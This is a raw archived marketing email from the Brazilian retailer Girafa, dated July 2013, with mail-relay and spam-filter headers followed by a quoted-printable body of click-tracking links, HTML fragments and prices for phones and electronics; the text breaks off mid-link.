(Postfix) with ESMTP id 7D4FA7F3F for ; Mon, 8 Jul 2013 07:28:34 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C1FC3AC003 for ; Mon, 8 Jul 2013 05:28:30 -0700 (PDT) X-ASG-Debug-ID: 1373286496-04cb6c2a47a059e0001-w1Z2WR Received: from email.girafa.com.br (email.girafa.com.br [187.61.29.201]) by cuda.sgi.com with ESMTP id x7AEsLtV6LQxuW51 for ; Mon, 08 Jul 2013 05:28:17 -0700 (PDT) X-Barracuda-Envelope-From: dma_1636@rp.email.girafa.com.br X-Barracuda-Apparent-Source-IP: 187.61.29.201 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=email.girafa.com.br; h=From:To:Subject:MIME-Version:Content-Type:Reply-To:List-Unsubscribe:Message-ID:Date; bh=GS2K/6h+Zfh+kyKUJsGtbXlXm1M=; b=hjmnYGSeul+J34s2QKxMWmEW+g8qi8HUStmJ9TFGXnPEwB+yjXNsScpf0TQk8Q+0+z3P7w2iajQ2 ln7m8oDFygtCiFrrSFLErG/KAzzbzTVKUn63auWCl33o1AaG9QeP4p+zKbzVGRkHU8omwSU1kij7 3CsyNl/KrJryo9U0gXU= Received: by email.girafa.com.br id hrao680sh4s3 for ; Mon, 8 Jul 2013 09:28:15 -0300 (envelope-from ) From: "Girafa" To: "" Subject: =?ISO-8859-1?Q?Lan=E7amentos_imperd=EDveis_no_Girafa!_Ofertas_que_cabem_no_seu_bolso.?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?ISO-8859-1?Q?Lan=E7amentos_imperd=EDveis_no_Girafa!_Ofertas_que_cabem_no_seu_bolso.?= Content-Type: multipart/alternative; boundary="d747d1a204ce3ceaf6d1776f719993be" Reply-To: "Girafa" List-Unsubscribe: X-Hash: 1636-3275-644384-a679f90e2d1f512efffe2339724ab0e4 X-DMA: 5286858 Message-ID: <0.2.26.E07.1CE7BD69EB2972C.1EE35@email.girafa.com.br> Date: Mon, 8 Jul 2013 09:28:20 -0300 X-Barracuda-Connect: email.girafa.com.br[187.61.29.201] X-Barracuda-Start-Time: 1373286496 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136164 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --d747d1a204ce3ceaf6d1776f719993be Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84588,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84588,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84589,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NpbmUtRm9= 0by8/dXRtX3NvdXJjZT0wOF8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA4XzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84590,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb25= pY29zLz91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84591,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb3B= vcnRhdGVpcy8/dXRtX3NvdXJjZT0wOF8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW= 1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA4XzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84592,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb2R= vbWVzdGljb3MvP3V0bV9zb3VyY2U9MDhfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPU= VtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8wOF8wN18xMyZ1d= G1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84593,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0dhbWVzLz9= 1dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY2= 9udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3= NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84594,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0luZm9ybWF= 0aWNhLz91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84595,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1NhdWRlLWU= tYmVsZXphLz91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbW= FpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX= 3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84596,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RlbGVmb25= pYS8/dXRtX3NvdXJjZT0wOF8wN18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdX= RtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhXzA4XzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84588,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/?= utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_c= ampaign=3Doferta_do_dia_08_07_13" src=3D"http://img.virtualtarget.com.br//1636/20130708/01.jpg" alt=3D"TV LED Slim Philips" /> [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84597,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPXR2JTIwbGVkJTIwc2xpbSUyMHBoaWxpcHMmbWFyY2FzPVBoaWxpcHMmc3ViZ3J1cG9zPS= Z1dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY= 29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b= 3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84598,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0RWRC1CbHU= tUmF5L1NvbnkvYmx1LXJheS1wbGF5ZXItM2Qtc29ueS1iZHAtczQxMDAtZnVsbC1oZC11c2ItaG= RtaS13aS1maS1zaWRlLXZpZXcuaHRtP3V0bV9zb3VyY2U9MDhfMDdfMTNfb2ZlcnRhX2RvX2RpY= SZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2Rp= YV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84599,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2luc3RydW1= lbnRvcy1kZS1vcmllbnRhY2FvL0dhcm1pbi9sb2NhbGl6YWRvci1ncHMtZ2FybWluLWd0dS0xMC= 1yYXN0cmVhZG9yLWNvbS1hcGxpY2F0aXZvLXByb3ZhLWd1YS5odG0/dXRtX3NvdXJjZT0wOF8wN= 18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1w= YWlnbj1vZmVydGFfZG9fZGlhXzA4XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20= =3D] BDP-S4100 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84598,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0RWRC1CbHU= tUmF5L1NvbnkvYmx1LXJheS1wbGF5ZXItM2Qtc29ueS1iZHAtczQxMDAtZnVsbC1oZC11c2ItaG= RtaS13aS1maS1zaWRlLXZpZXcuaHRtP3V0bV9zb3VyY2U9MDhfMDdfMTNfb2ZlcnRhX2RvX2RpY= SZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2Rp= YV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] GTU 10 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84599,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2luc3RydW1= lbnRvcy1kZS1vcmllbnRhY2FvL0dhcm1pbi9sb2NhbGl6YWRvci1ncHMtZ2FybWluLWd0dS0xMC= 1yYXN0cmVhZG9yLWNvbS1hcGxpY2F0aXZvLXByb3ZhLWd1YS5odG0/dXRtX3NvdXJjZT0wOF8wN= 18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1w= YWlnbj1vZmVydGFfZG9fZGlhXzA4XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20= =3D] Blu-ray Player 3D [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84598,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0RWRC1CbHU= tUmF5L1NvbnkvYmx1LXJheS1wbGF5ZXItM2Qtc29ueS1iZHAtczQxMDAtZnVsbC1oZC11c2ItaG= RtaS13aS1maS1zaWRlLXZpZXcuaHRtP3V0bV9zb3VyY2U9MDhfMDdfMTNfb2ZlcnRhX2RvX2RpY= SZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2Rp= YV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Localizador GPS Garmin [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84599,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/i= nstrumentos-de-orientacao/Garmin/localizador-gps-garmin-gtu-10-rastreador-c= om-aplicativo-prova-gua.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium= =3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_08_07_13 border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 377,52 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84598,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/D= VD-Blu-Ray/Sony/blu-ray-player-3d-sony-bdp-s4100-full-hd-usb-hdmi-wi-fi-sid= e-view.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_conte= nt=3D&utm_campaign=3Doferta_do_dia_08_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84598,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/D= VD-Blu-Ray/Sony/blu-ray-player-3d-sony-bdp-s4100-full-hd-usb-hdmi-wi-fi-sid= e-view.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_conte= nt=3D&utm_campaign=3Doferta_do_dia_08_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">10x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84598,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/D= VD-Blu-Ray/Sony/blu-ray-player-3d-sony-bdp-s4100-full-hd-usb-hdmi-wi-fi-sid= e-view.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_conte= nt=3D&utm_campaign=3Doferta_do_dia_08_07_13 height:50px; border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 560,15 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84599,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/i= nstrumentos-de-orientacao/Garmin/localizador-gps-garmin-gtu-10-rastreador-c= om-aplicativo-prova-gua.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium= =3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_08_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84599,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/i= nstrumentos-de-orientacao/Garmin/localizador-gps-garmin-gtu-10-rastreador-c= om-aplicativo-prova-gua.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium= =3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_08_07_13 font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84599,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2luc3RydW1= lbnRvcy1kZS1vcmllbnRhY2FvL0dhcm1pbi9sb2NhbGl6YWRvci1ncHMtZ2FybWluLWd0dS0xMC= 1yYXN0cmVhZG9yLWNvbS1hcGxpY2F0aXZvLXByb3ZhLWd1YS5odG0/dXRtX3NvdXJjZT0wOF8wN= 18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1w= YWlnbj1vZmVydGFfZG9fZGlhXzA4XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20= =3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84600,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NlbHVsYXJ= lcy9Tb255L3NtYXJ0cGhvbmUtc29ueS14cGVyaWEtcHJldG8tYW5kcm9pZC00MS1kaXNwbGF5LT= QzLWJsdWV0b290aC13aS1maS04bXAuaHRtP3V0bV9zb3VyY2U9MDhfMDdfMTNfb2ZlcnRhX2RvX= 2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2Rv= X2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84601,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NlbHVsYXJ= lcy9Tb255L3NvbnkteHBlcmlhLXpxLWM2NTAzLXByZXRvLWFuZHJvaWQtNDEtMTNtcC10ZWxhLT= E2Z2Itd2ktZmktM2ctcXVhZC1jb3JlLmh0bT91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb= 19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9k= b19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Xperia L - Preto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84600,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NlbHVsYXJ= lcy9Tb255L3NtYXJ0cGhvbmUtc29ueS14cGVyaWEtcHJldG8tYW5kcm9pZC00MS1kaXNwbGF5LT= QzLWJsdWV0b290aC13aS1maS04bXAuaHRtP3V0bV9zb3VyY2U9MDhfMDdfMTNfb2ZlcnRhX2RvX= 2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2Rv= X2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] C6503 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84601,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NlbHVsYXJ= lcy9Tb255L3NvbnkteHBlcmlhLXpxLWM2NTAzLXByZXRvLWFuZHJvaWQtNDEtMTNtcC10ZWxhLT= E2Z2Itd2ktZmktM2ctcXVhZC1jb3JlLmh0bT91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb= 19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9k= b19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Smartphone Sony Xperia L [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84600,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NlbHVsYXJ= lcy9Tb255L3NtYXJ0cGhvbmUtc29ueS14cGVyaWEtcHJldG8tYW5kcm9pZC00MS1kaXNwbGF5LT= QzLWJsdWV0b290aC13aS1maS04bXAuaHRtP3V0bV9zb3VyY2U9MDhfMDdfMTNfb2ZlcnRhX2RvX= 2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2Rv= X2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Smartphone Sony Xperia ZQ [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84601,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= elulares/Sony/sony-xperia-zq-c6503-preto-android-41-13mp-tela-16gb-wi-fi-3g= -quad-core.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_c= ontent=3D&utm_campaign=3Doferta_do_dia_08_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 720,72 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84600,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= elulares/Sony/smartphone-sony-xperia-preto-android-41-display-43-bluetooth-= wi-fi-8mp.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_co= ntent=3D&utm_campaign=3Doferta_do_dia_08_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84600,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= elulares/Sony/smartphone-sony-xperia-preto-android-41-display-43-bluetooth-= wi-fi-8mp.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_co= ntent=3D&utm_campaign=3Doferta_do_dia_08_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84600,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= elulares/Sony/smartphone-sony-xperia-preto-android-41-display-43-bluetooth-= wi-fi-8mp.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_co= ntent=3D&utm_campaign=3Doferta_do_dia_08_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 1.671,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84601,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= elulares/Sony/sony-xperia-zq-c6503-preto-android-41-13mp-tela-16gb-wi-fi-3g= -quad-core.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_c= ontent=3D&utm_campaign=3Doferta_do_dia_08_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84601,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= elulares/Sony/sony-xperia-zq-c6503-preto-android-41-13mp-tela-16gb-wi-fi-3g= -quad-core.htm?utm_source=3D08_07_13_oferta_do_dia&utm_medium=3DEmail&utm_c= ontent=3D&utm_campaign=3Doferta_do_dia_08_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84601,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NlbHVsYXJ= lcy9Tb255L3NvbnkteHBlcmlhLXpxLWM2NTAzLXByZXRvLWFuZHJvaWQtNDEtMTNtcC10ZWxhLT= E2Z2Itd2ktZmktM2ctcXVhZC1jb3JlLmh0bT91dG1fc291cmNlPTA4XzA3XzEzX29mZXJ0YV9kb= 19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9k= b19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84602,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWk5NTAmbWFyY2FzPVNhbXN1bmcmc3ViZ3J1cG9zPTIwOSZ1dG1fc291cmNlPTA4XzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84603,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWk5MjAwJm9yZGVtPW1haXMtdmlzdWFsaXphZG9zJnV0bV9zb3VyY2U9MDhfMDdfMTNfb2= ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b= 2ZlcnRhX2RvX2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] i9500 / i9505 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84602,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWk5NTAmbWFyY2FzPVNhbXN1bmcmc3ViZ3J1cG9zPTIwOSZ1dG1fc291cmNlPTA4XzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] i9200 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84603,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWk5MjAwJm9yZGVtPW1haXMtdmlzdWFsaXphZG9zJnV0bV9zb3VyY2U9MDhfMDdfMTNfb2= ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b= 2ZlcnRhX2RvX2RpYV8wOF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Smartphone Samsung Galaxy S4 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84602,a= 679f90e2d1f512efffe2339724ab0e4,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWk5NTAmbWFyY2FzPVNhbXN1bmcmc3ViZ3J1cG9zPTIwOSZ1dG1fc291cmNlPTA4XzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMDhfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] Smartphone Galaxy Mega [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84603,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3Di9200&ordem=3Dmais-visualizados&utm_source=3D08_07_13_oferta_d= o_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_08_07_= 13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 1.930,85 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84602,a= 679f90e2d1f512efffe2339724ab0e4,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3Di950&marcas=3DSamsung&subgrupos=3D209&utm_source=3D08_07_13_of= erta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_= 08_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3275,644384,84602,a= 